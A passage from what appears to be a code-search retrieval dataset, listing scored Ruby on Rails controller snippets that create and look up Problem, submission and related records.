"text": "def create\n @problem = Problem.new(params[:problem])\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to @problem, notice: 'Problem was successfully created.' }\n format.json { render json: @problem, status: :created, location: @problem }\n else\n format.html { render action: \"new\" }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7259d9cf9c5868a501fd1457f0a1543d",
"score": "0.715977",
"text": "def create\n @problem = Problem.new(params[:problem])\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to @problem, notice: 'Problem was successfully created.' }\n format.json { render json: @problem, status: :created, location: @problem }\n else\n format.html { render action: \"new\" }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7259d9cf9c5868a501fd1457f0a1543d",
"score": "0.715977",
"text": "def create\n @problem = Problem.new(params[:problem])\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to @problem, notice: 'Problem was successfully created.' }\n format.json { render json: @problem, status: :created, location: @problem }\n else\n format.html { render action: \"new\" }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f59e6f23d7c9c88c1c4aa91cb159e4e9",
"score": "0.71181655",
"text": "def create\n @problem = Problem.new(params[:problem])\n\n respond_to do |format|\n worked = @problem.save!\n if worked\n flash[:notice] = \"problem created successfully\"\n format.html { redirect_to(@problem) }\n format.xml { render :xml => @problem, :status => :created, :location => @problem }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @problem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4bb55a25e74990ef1309ab9ce3673b38",
"score": "0.71174085",
"text": "def create\n @problem = @competition.problems.build(params[:problem])\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to competition_problem_url(@competition, @problem.parent_top), notice: 'Problem was successfully created.' }\n format.json { render json: @problem, status: :created, location: @problem }\n else\n format.html { render action: \"new\" }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "23a61d3cff8da1286c1ac7ec9f33b15a",
"score": "0.7091256",
"text": "def create\n @problem = Problem.new(params[:problem])\n @problem.creator = current_user\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to @problem, notice: t('helpers.action.create_problem') }\n format.json { render json: @problem, status: :created, location: @problem }\n else\n format.html { render action: \"new\" }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "638112f08ac6096f5af03a2cb60438a8",
"score": "0.70898396",
"text": "def create\n @problem = Problem.new(params[:problem])\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to @problem, :notice => 'Problem was successfully created.' }\n format.json { render :json => @problem, :status => :created, :location => @problem }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @problem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2f177d8bddaa03615ece22e692c653ef",
"score": "0.7017937",
"text": "def create\n @problem = Problem.new(params[:problem])\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to(@problem, :notice => 'Problem was successfully created.') }\n format.xml { render :xml => @problem, :status => :created, :location => @problem }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @problem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "afaadbdc53ef8122f7b28833c4f707e9",
"score": "0.7003399",
"text": "def create\n @problem = current_user.problems.build(problem_params)\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to root_path, notice: 'Problem was successfully created.' }\n format.json { render action: 'show', status: :created, location: @problem }\n else\n format.html { render action: 'new' }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f22e7c494b276c79a3c4013f59c7e7c7",
"score": "0.69755685",
"text": "def create\n @problem = Problem.new(problem_params)\n @problem.user = current_user\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to @problem, notice: 'Problem was successfully created.' }\n format.json { render :show, status: :created, location: @problem }\n else\n format.html { render :new }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4315543f360bc03d85a1b6afe003f65c",
"score": "0.6964155",
"text": "def create\n @problem = Problem.new(problem_params)\n if @problem.save\n\n log_activity\n create_supporter\n\n if params[:user_id].nil? == false\n\n @problem_id = problem_params[:id]\n Supporter.create(:user_id => params[:user_id],\n :problem_id => @problem.id, :role => 'Supporter')\n\n else\n\n respond_to do |format|\n format.html { redirect_to @problem,\n notice: 'Problem was successfully created.' }\n format.json { render :show,\n status: :created, location: @problem }\n end #format\n end # user_id\n\n else\n respond_to do |format|\n format.html { render :new }\n format.json { render json: @problem.errors,\n status: :unprocessable_entity }\n end #format\n\n end #save if\n\n end",
"title": ""
},
{
"docid": "c1d7b45d2ddda4848f5f35d2d30a61f8",
"score": "0.69640034",
"text": "def create\n @problem = Problem.new(params[:problem])\n\n respond_to do |format|\n if @problem.save\n flash[:notice] = 'Problem.was successfully created.'\n format.html { redirect_to(problem_path(@problem)) }\n format.xml { render :xml => @problem, :status => :created, :location => @problem }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @problem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8927f3bb1d625c1d117de8163c8dfabe",
"score": "0.6961027",
"text": "def create\n @problem = Problem.new(problem_params)\n @problem.problem_setter = current_user\n respond_to do |format|\n if @problem.save\n format.html { redirect_to @problem, notice: 'problem was successfully created.' }\n format.json { render :show, status: :created, location: @problem }\n else\n format.html { render :new }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "440da0517549ccd5d2fe19bc84bfd86d",
"score": "0.69316834",
"text": "def create\n @admin_problem = Admin::Problem.new(admin_problem_params)\n if @admin_problem.save\n redirect_to @admin_problem\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "7d4ee8dda7d826a19aad227363dd7f1c",
"score": "0.6906618",
"text": "def create\n @problem = Problem.new(params[:problem])\n @problem.active = true\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to [:admin, @problem], notice: 'Problem was successfully created.' }\n format.json { render json: @problem, status: :created, location: @problem }\n else\n format.html { render action: \"new\" }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bd16be4e4d1b10fa08bcdec167cc5388",
"score": "0.6867847",
"text": "def create\n @problem = current_user.problems.build(params[:problem])\n if @problem.save\n flash[:success] = \"Problem created!\"\n redirect_to root_path\n else\n render 'pages/home'\n end\n \n end",
"title": ""
},
{
"docid": "2e41a41cdbbbac19e5d44cb50a8e614f",
"score": "0.68608874",
"text": "def create\n require_params([:name, :max_score])\n set_default_params({ description: \"\", optional: false })\n\n problem = @assessment.problems.new(problem_params)\n unless problem.save\n raise ApiError.new(\"Unable to create problem\", :internal_server_error)\n end\n\n render json: format_problem_response(problem), status: :created\n end",
"title": ""
},
{
"docid": "4f53b1630a77c7d57c7e1dffcff90bad",
"score": "0.6851276",
"text": "def create\r\n @problem = Problem.new(params[:problem])\r\n @problem.user_id = current_user.id\r\n @code_problem = CodeProblem.new\r\n @code_problem.statement = render_to_string 'code_problems/_format', :layout => false\r\n\r\n if @problem.save\r\n redirect_to problems_path, notice: (t 'problem.create')\r\n else\r\n render action: \"new\"\r\n end\r\n end",
"title": ""
},
{
"docid": "85912d649b0b0e5f0a3c5b34c1d2b9fa",
"score": "0.68444145",
"text": "def create\n @my_problem = MyProblem.new(my_problem_params)\n\n respond_to do |format|\n if @my_problem.save\n format.html { redirect_to @my_problem, notice: 'My problem was successfully created.' }\n format.json { render :show, status: :created, location: @my_problem }\n else\n format.html { render :new }\n format.json { render json: @my_problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c12a8f7191dbe7937606dc1413ebf369",
"score": "0.684168",
"text": "def create\n @code_problem = CodeProblem.new(params[:code_problem])\n @code_problem.user_id = current_user.id\n\n\n if @code_problem.save\n redirect_to problems_path, notice: (t 'problem.create')\n else\n render action: \"new\"\n end\n end",
"title": ""
},
{
"docid": "930594bc4f0715c75ed8a7f2142aa32a",
"score": "0.68141663",
"text": "def create\n @problem = Problem.new\n @problem.description = params[:problem][:description]\n @problem.problem_type = params[:problem][:problem_type]\n @problem.cut_description!\n\n # require_relative '../../lib/tcp_client'\n # client = TcpClient.new 50125, 'localhost'\n # client.create_new_problem @problem\n # client.close\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to problems_path, notice: 'Problem was successfully created.' }\n format.json { render action: 'show', status: :created, location: @problem }\n else\n format.html { render action: 'new' }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "01e993548a14cdd8499703fd1b705f6e",
"score": "0.68076587",
"text": "def create\n @problem = ::Problem.new(problem_params)\n @test_case_inputs = params[:problem][:test_case_inputs]\n @test_case_outputs = params[:problem][:test_case_outputs]\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to [:admin, @problem], notice: 'Problem was successfully created.' }\n format.json { render :show, status: :created, location: @problem }\n else\n format.html { render :new }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "50962550b7a93edfabb15a851f5cd2d4",
"score": "0.6788911",
"text": "def create\n @problem = @idea.problems.new(title: params[:toSent])\n\n if @problem.save\n render json: { text: \"success\", id: \"#{@problem.id}\" }\n else\n render json: { text: \"fail\"}\n end\n end",
"title": ""
},
{
"docid": "acd284797f03d1b86918865bc2068367",
"score": "0.67534286",
"text": "def create\n @problem.owner_id = current_user.id;\n @problem.accessible = [:owner_id] if can? :transfer, @problem # free to give others a problem to own\n @problem.attributes = params[:problem] # mass-assignment\n #if @problem.evaluator\n # @problem.evaluator = IO.read(params[:problem][:evaluator].path)\n #end\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to(@problem, :notice => 'Problem was successfully created.') }\n format.xml { render :xml => @problem, :status => :created, :location => @problem }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @problem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaaeb9cc8ea52ef4c77fa90c96763477",
"score": "0.6704982",
"text": "def create\n @problem = Problem.find_by_shortname(params[:problem_id])\n commentable = @problem\n path = @problem\n if !params[:solution_id].nil?\n @solution = Solution.find(params[:solution_id])\n commentable = @solution\n path = problem_solution_path(@problem, @solution)\n end\n @comment = commentable.comments.create(comment_params)\n @comment.profile = current_user.profile\n @comment.save!\n redirect_to path\n end",
"title": ""
},
{
"docid": "b42cec87c612276f03fb48836e69f6d7",
"score": "0.66230047",
"text": "def create\n @pacient_problem = PacientProblem.new(params[:pacient_problem])\n\n respond_to do |format|\n if @pacient_problem.save\n format.html { redirect_to(@pacient_problem, :notice => t(\"flash.notices.model.pacient_problem.created\")) }\n format.xml { render :xml => @pacient_problem, :status => :created, :location => @pacient_problem }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pacient_problem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc042e9e5e8fcdaaa67abaf8b82068bf",
"score": "0.66164553",
"text": "def create\n\t\t@problem = Problem.find(params[:id])\n\t\tanswer = params[:answer]\n\t\t@correct = false\n\t\t@error = ''\n\t\t@problem.submissions += 1\n\t\t@problem.save\n\t\t# answer validation for when it is empty\n\t\tif answer.empty?\n\t\t\t@error = \"You left the answer box empty.\"\n\t\t\t#redirect_to @problem\n\t\t# Answer has to be a number. \n\t\telsif !is_number?(answer)\n\t\t\t@error = \"Invalid input\"\n\t\t\t#redirect_to @problem\n\t\t# wrong answer\n\t\telsif !within_five_percent?(answer.to_f, @problem.answer.to_f)\n\t\t\t@error = \"Sorry, but the answer you gave appears to be incorect.\"\n\t\t\t#redirect_to @problem\n\t\t# Right answer. Create a solved_problems row for current user and problem.\n\t\t# Increments user score.\n\t\telse\n\t\t\t@correct = true\n\t\t\tuser = current_user\n\t\t\t@solved_problem = SolvedProblem.create(user_id: current_user.id, problem_id: @problem.id)\n\t\t\t#user.problems << @problem\n\t\t\tuser.score += points_gained(@problem.difficulty)\n\t\t\tuser.solved += 1\n\t\t\tuser.save\n\t\t\t@problem.solved_by += 1\n\t\t\t@problem.save\n\t\tend\n\tend",
"title": ""
},
{
"docid": "cc2861b59430c6f6ef8cf227c70375e9",
"score": "0.6583811",
"text": "def create\n @problem = current_user.problems.build(problem_params)\n logger = MyLogger.instance\n logger.logInformation(\"A new question was asked: \" + @problem.question)\n @problem.user = current_user\n respond_to do |format|\n if @problem.save\n format.html { redirect_to @problem, notice: 'Problem was successfully created.' }\n format.json { render :show, status: :created, location: @problem }\n else\n format.html { render :new }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8436d9e6d3e564da2176dbbeac79eedb",
"score": "0.6579952",
"text": "def create\n\t\t@question_papers= QuestionPaper.where(\"subject = ?\",params[:subject])\n\t\t@problem = @question_papers[0].problems.new(problem_params)\n\t\tif(@problem.save)\n\t\t\t\tputs \"successful in adding question \"\n\t\t\t\tflash[:alert]=\"Problem added successfully\"\t\t\n\t\t\t\tredirect_to new_problem_path\n\t\telse\n\t\t\trender \"new\"\n\t\tend\t\t\n\tend",
"title": ""
},
{
"docid": "fff83ab0ff1fe5c45aeedb4f1a4e9117",
"score": "0.65647835",
"text": "def set_problem\n @problem = params[:id] ? Problem.find(params[:id]) : Problem.new(problem_params)\n end",
"title": ""
},
{
"docid": "5c556716689218263e6166787924a6e1",
"score": "0.6562138",
"text": "def create\n # don't let users submit to problems they don't have access to (which they could do by id speculatively to try get access to problem name, # of test cases etc.) (ie. they should have read access)\n authorize Problem.find(params[:submission][:problem_id]), :submit?\n params[:submission][:source] = IO.read(params[:submission][:source].path)\n @submission = Submission.new(permitted_params.merge(:score => nil, :user_id => current_user.id))\n authorize @submission, :create?\n respond_to do |format|\n if @submission.save\n @submission.judge\n format.html { redirect_to(@submission, :notice => 'Submission was successfully created.') }\n format.xml { render :xml => @submission, :status => :created, :location => @submission }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @submission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b12313422ac14817adf2983a98fa0574",
"score": "0.6538255",
"text": "def create\n @problemset = Problemset.new(problemset_params)\n respond_to do |format|\n if @problemset.save\n format.html { redirect_to @problemset, notice: 'Problemset was successfully created.' }\n format.json { render :show, status: :created, location: @problemset }\n else\n format.html { render :new }\n format.json { render json: @problemset.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4cfb271deb3e9e8ed746fd42c2e530fe",
"score": "0.65334296",
"text": "def create\n @problem_set = ProblemSet.new(problem_set_params)\n\n respond_to do |format|\n if @problem_set.save\n format.html { redirect_to @problem_set.challenge, notice: 'Problem set was successfully created.' }\n format.json { render :show, status: :created, location: @problem_set }\n else\n format.html { render :new }\n format.json { render json: @problem_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4e1d29d638f83858d6333a0e05869f44",
"score": "0.65150195",
"text": "def create\n @server_problem = ServerProblem.new(params[:server_problem])\n\n respond_to do |format|\n if @server_problem.save\n format.html { redirect_to @server_problem.server ? problems_by_server_path(@server_problem.server) : :server_problems, notice: 'Проблема для оборудования успешно создана.' }\n else\n format.html { render action: 'new' }\n end\n end\n end",
"title": ""
},
{
"docid": "a261a08eaed9adca2d13c8a6e38c14ab",
"score": "0.649535",
"text": "def create\n @problem_set = ProblemSet.new(permitted_params)\n @problem_set.owner ||= current_user\n authorize @problem_set, :create?\n respond_to do |format|\n if @problem_set.save\n format.html { redirect_to(@problem_set, :notice => 'Problem set was successfully created.') }\n format.xml { render :xml => @problem_set, :status => :created, :location => @problem_set }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @problem_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e4331a9f870f552232e39dc013f3dcf9",
"score": "0.6490656",
"text": "def create\n @problem = Problem.find(params[:problem_id])\n @attempt = @problem.attempts.new(params[:attempt])\n @attempt.user_id = current_user.id\n @attempt.language=params[:language]\n @attempt.assignment_id = @attempt.is_assigned(current_user)\n\n respond_to do |format|\n if @attempt.save\n\t @attempt.compile\n\t new_tab = problem_path(@problem) + \"/#tabs-1\"\n\t format.html { redirect_to new_tab, notice: \"Your attempt was successfully created.\" }\n format.json { render json: @problem, status: :created, location: @attempt }\n else\n format.html { redirect_to @problem, notice: 'You need to upload a file.' }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3695951d9c794ccaa410379b3cbe294e",
"score": "0.64688957",
"text": "def new\n @problem_test_case = ProblemTestCase.new(:problemid => params[:problemid])\n @problem = Problem.find(@problem_test_case.problemid)\n end",
"title": ""
},
{
"docid": "e5d18abd553d83b6755ff178f665e633",
"score": "0.64461064",
"text": "def create\n problem = Problem.find(params[:problem_id])\n \n @submission = problem.submissions.create(submission_params)\n respond_to do |format|\n if @submission.save\n @submission_result = @submission.build_submission_result\n @submission_result.details = \"Creating...\" \n @submission_result.save\n EvaluatorWorker.perform_async(@submission_result.id)\n format.html { redirect_to @submission_result, notice: 'Problem solution try was successfully created.' }\n format.json { render :template => \"submission_results/show\", status: :created, location: @submission_result }\n else\n format.html { render action: 'new' }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4cbc4eda25e200121df6a8c955c9b87a",
"score": "0.6390825",
"text": "def create\n @assignment = @user.assignments.create!(params[:assignment])\n \n @assignment.add_to_goal(params[:goal_id]) unless params[:goal_id].blank?\n\n respond_to do |format|\n if @assignment\n format.html { redirect_to [@user, @assignment], notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ea2057f989ceeb7dbd81c76b8dc72b68",
"score": "0.6382454",
"text": "def create\n @trouble = Trouble.new(trouble_params)\n\n respond_to do |format|\n if @trouble.save\n format.html { redirect_to troubles_path, notice: 'Trouble was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"title": ""
},
{
"docid": "06ecc75b2f3dbc54cfa28be307c108a0",
"score": "0.6342882",
"text": "def create\n @problem_type = ProblemType.new(params[:problem_type])\n\n respond_to do |format|\n if @problem_type.save\n flash[:notice] = 'ProblemType was successfully created.'\n format.html { redirect_to(@problem_type) }\n format.xml { render :xml => @problem_type, :status => :created, :location => @problem_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @problem_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "075f26c0b396ad576a41e3cfbe2dc5a1",
"score": "0.6336981",
"text": "def problem_params\n params.require(:problem).permit(:title, :content, :add, :discourse_url, :status)\n end",
"title": ""
},
{
"docid": "eb6243598e954a91abe9ee263d69748d",
"score": "0.6331683",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "f41df6a0ee35d67f1961d9cbfba628a1",
"score": "0.6331143",
"text": "def create\n @healthproblem = Healthproblem.new(healthproblem_params)\n\n respond_to do |format|\n if @healthproblem.save\n format.html { redirect_to @healthproblem, notice: 'Healthproblem was successfully created.' }\n format.json { render :show, status: :created, location: @healthproblem }\n else\n format.html { render :new }\n format.json { render json: @healthproblem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "78db01dab7ed8a5f9e989f83afcc47a5",
"score": "0.63195854",
"text": "def add\n\t\t@contest = Contest.find(params[:id])\n\t\t@problem = Cproblem.find(params[:problem_id])\n\t\tif @contest.problems.find_by_id(@problem.id).nil?\n\t\t\t@contest.problems << @problem\n\t\tend\n\t\tflash[:added] = \"Your Problem is now added\"\n\t\tredirect_to :back\n\tend",
"title": ""
},
{
"docid": "f410c12185db646e1bf10a2f8b4671d4",
"score": "0.6313211",
"text": "def create\n params.permit!\n\n @problem_type = current_user.problem_types.build(params[:problem_type])\n\n respond_to do |format|\n if @problem_type.save\n format.html { redirect_to @problem_type, :notice => 'Problem type was successfully created.' }\n format.json { render :json => @problem_type, :status => :created, :location => @problem_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @problem_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8d86a8bd5da128397d04ab68441f369a",
"score": "0.62984055",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n\n end",
"title": ""
},
{
"docid": "1d211989a189b0464a995ee19a17c357",
"score": "0.6295221",
"text": "def create\n @vm_problem = VmProblem.new(vm_problem_params)\n\n respond_to do |format|\n if @vm_problem.save\n format.html { redirect_to root_path, notice: 'Vm problem was successfully created.' }\n format.json { render :show, status: :created, location: @vm_problem }\n else\n format.html { render :new }\n format.json { render json: @vm_problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "855559526634b99293b16e143723ac29",
"score": "0.62907624",
"text": "def create\n @problem = Problem.find(params[:problem_id])\n @attempt = @problem.attempts.build(params[:attempt])\n @attempt.user = current_user\n @attempt.assignment = Assignment.find_by_id(params[:assignment_id])\n\n respond_to do |format|\n if @attempt.save\n new_tab = polymorphic_path([@attempt.assignment, @problem]) + \"/#attempt1\"\n format.html { redirect_to new_tab, notice: \"Your attempt was successfully created.\" }\n format.json { render json: @problem, status: :created, location: @attempt }\n else\n format.html { redirect_to @problem, alert: 'Make sure you select the language and write the code.' }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7bd76b90edb1c377d4e1aef1759b8a2f",
"score": "0.6284387",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n redirect_to problems_path unless @problem.opened\n end",
"title": ""
},
{
"docid": "fe40b14984ca4ba65cd907c0eb33bdde",
"score": "0.62786627",
"text": "def create\n @solution = Solution.new(solution_params)\n\n if @solution.worked == 1\n @problem = Unsolved.find(@solution.topic_id)\n @problem.update_attribute('status',1)\n end\n respond_to do |format|\n if @solution.save\n format.html { redirect_to @solution, notice: 'Solution was successfully created.' }\n format.json { render json: @solution, status: :created, location: @solution }\n else\n format.html { render action: \"new\" }\n format.json { render json: @solution.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a34a8f7ca1456e04b154f20fc755d08b",
"score": "0.62751",
"text": "def create\n @problem_state = ProblemState.new(params[:problem_state])\n\n respond_to do |format|\n if @problem_state.save\n format.html { redirect_to(@problem_state, :notice => t(\"screens.notice.successfully_created\")) }\n format.xml { render :xml => @problem_state, :status => :created, :location => @problem_state }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @problem_state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c96db42fc405903fd3103b5fb0f33298",
"score": "0.6273733",
"text": "def create\n # don't let users submit to problems they don't have access to (which they could do by id speculatively to try get access to problem title, # of test cases etc.) (ie. they should have read access)\n authorize! :read, Problem.find(params[:submission][:problem_id])\n logger.debug \"creating new submission , problem is #{params[:submission][:problem_id]} and params are:\"\n logger.debug params\n params[:submission][:source] = IO.read(params[:submission][:source].path)\n @submission = Submission.new(permitted_params.merge(:score => nil, :user_id => current_user.id))\n\n respond_to do |format|\n if @submission.save\n spawn do \n @submission.judge\n end\n format.html { redirect_to(@submission, :notice => 'Submission was successfully created.') }\n format.xml { render :xml => @submission, :status => :created, :location => @submission }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @submission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2114db4937093cbf026f489553de072b",
"score": "0.6264037",
"text": "def add\n\t\t@problem = Problem.find_by_id(params[:id])\n\t\t@track = Track.find_by_id(params[:track_id])\n\t\t@new_problem = @problem.duplicate\n\t\t@new_problem.duplicated = true\n\t\tif teaching_assistant_signed_in?\n\t\t\t@flag = true\n\t\t\t@track.problems.each do |pr|\n\t\t\t\tif pr.title == @new_problem.title\n\t\t\t\t\tflash[:notice]= @new_problem.title,\"You already have this problem\"\n\t\t\t\t\t@flag = false\n\t\t\t\tend\n\t\t\tend\n\t\t\tif @flag == true\n\t\t\t\t@new_problem.track_id = @track.id\n\t\t\t\tcurrent_teaching_assistant.problems << @new_problem\n\t\t\t\tflash[:success]= @new_problem.title,\"is added successfully\"\n\t\t\tend\n\t\telsif lecturer_signed_in?\n\t\t\t@flag = true\n\t\t\t@track.problems.each do |pr|\n\t\t\t\tif pr.title == @new_problem.title\n\t\t\t\t\tflash[:notice]= @new_problem.title,\"You already have this problem\"\n\t\t\t\t\t@flag = false\n\t\t\t\tend\n\t\t\tend\n\t\t\tif @flag == true\n\t\t\t\t@new_problem.track_id = @track.id\n\t\t\t\tcurrent_lecturer.problems << @new_problem\n\t\t\t\tflash[:success]= @new_problem.title,\"is added successfully\"\n\t\t\tend\n\t\tend\n\t\tredirect_to :action => 'show', :id => @track.id\n\tend",
"title": ""
},
{
"docid": "0aa92e5efde0d20f378acd5a653171b1",
"score": "0.6228491",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "0aa92e5efde0d20f378acd5a653171b1",
"score": "0.6228491",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "0aa92e5efde0d20f378acd5a653171b1",
"score": "0.6228491",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "0aa92e5efde0d20f378acd5a653171b1",
"score": "0.6228491",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "0aa92e5efde0d20f378acd5a653171b1",
"score": "0.6228491",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "0aa92e5efde0d20f378acd5a653171b1",
"score": "0.6228491",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "0aa92e5efde0d20f378acd5a653171b1",
"score": "0.6228491",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "0aa92e5efde0d20f378acd5a653171b1",
"score": "0.6228491",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "0aa92e5efde0d20f378acd5a653171b1",
"score": "0.6228491",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "0aa92e5efde0d20f378acd5a653171b1",
"score": "0.6228491",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "0aa92e5efde0d20f378acd5a653171b1",
"score": "0.6228491",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "0aa92e5efde0d20f378acd5a653171b1",
"score": "0.6228491",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "b541bda525401e02908d3d55381a0db0",
"score": "0.62057734",
"text": "def problem\n @problem = Problem.find_by_id(params[:id])\n end",
"title": ""
},
{
"docid": "1ad04afa41761d7c84f928a3848485d6",
"score": "0.6203278",
"text": "def set_problem\n @problem = ::Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "9d47f03f86ee81cf3d7e04e7fb3df953",
"score": "0.62018496",
"text": "def create\n @admin_problem_source = Admin::ProblemSource.find_by(admin_problem_source_params)\n if !@admin_problem_source.nil?\n if !params[:problems].blank? && @admin_problem_source.problems.length == 0\n params[:problems].each do |_index, param|\n problem = Admin::Problem.create(score: param[:score],\n year: param[:year],\n content: param[:content],\n exm_1: param[:exm_1],\n exm_2: param[:exm_2],\n exm_3: param[:exm_3],\n exm_4: param[:exm_4],\n exm_5: param[:exm_5],\n answer: param[:answer],\n explanation: param[:explanation],\n is_objective: param[:is_objective])\n order = ProblemSourceOrder.new(order: param[:problem_source_order])\n order.problem = problem\n order.problem_source = @admin_problem_source\n order.save\n end\n end\n redirect_to @admin_problem_source\n else\n @admin_problem_source = Admin::ProblemSource.new(admin_problem_source_params)\n if @admin_problem_source.save\n redirect_to @admin_problem_source\n else\n render :new\n end\n end\n end",
"title": ""
},
{
"docid": "9628f0724882b347181e9970e1d5a539",
"score": "0.61981964",
"text": "def create\n @issue = Issue.new(issue_params)\n @observation = Observation.find(params[:observation_id])\n\n if @issue.save\n redirect_to observation_path(@observation)\n else\n redirect_to observation_path(@observation), flash: {danger: \"Issue not created. You need a description.\" }\n end\n end",
"title": ""
},
{
"docid": "22fe8e10d8ac0644b46a7cd6b678293f",
"score": "0.6179476",
"text": "def create\n @first_world_problem = FirstWorldProblem.new(first_world_problem_params)\n\n respond_to do |format|\n if @first_world_problem.save\n format.html { redirect_to @first_world_problem, notice: 'First world problem was successfully created.' }\n format.json { render :show, status: :created, location: @first_world_problem }\n else\n format.html { render :new }\n format.json { render json: @first_world_problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bbf020253de47d9667be64bf69595c69",
"score": "0.6178342",
"text": "def problem_params_add\n\t\t\tparams.require(:problem).permit(:title, :description, :track_id, :snippet)\n\t\tend",
"title": ""
},
{
"docid": "d9743a67006a29f3f63f350a490506ee",
"score": "0.61761296",
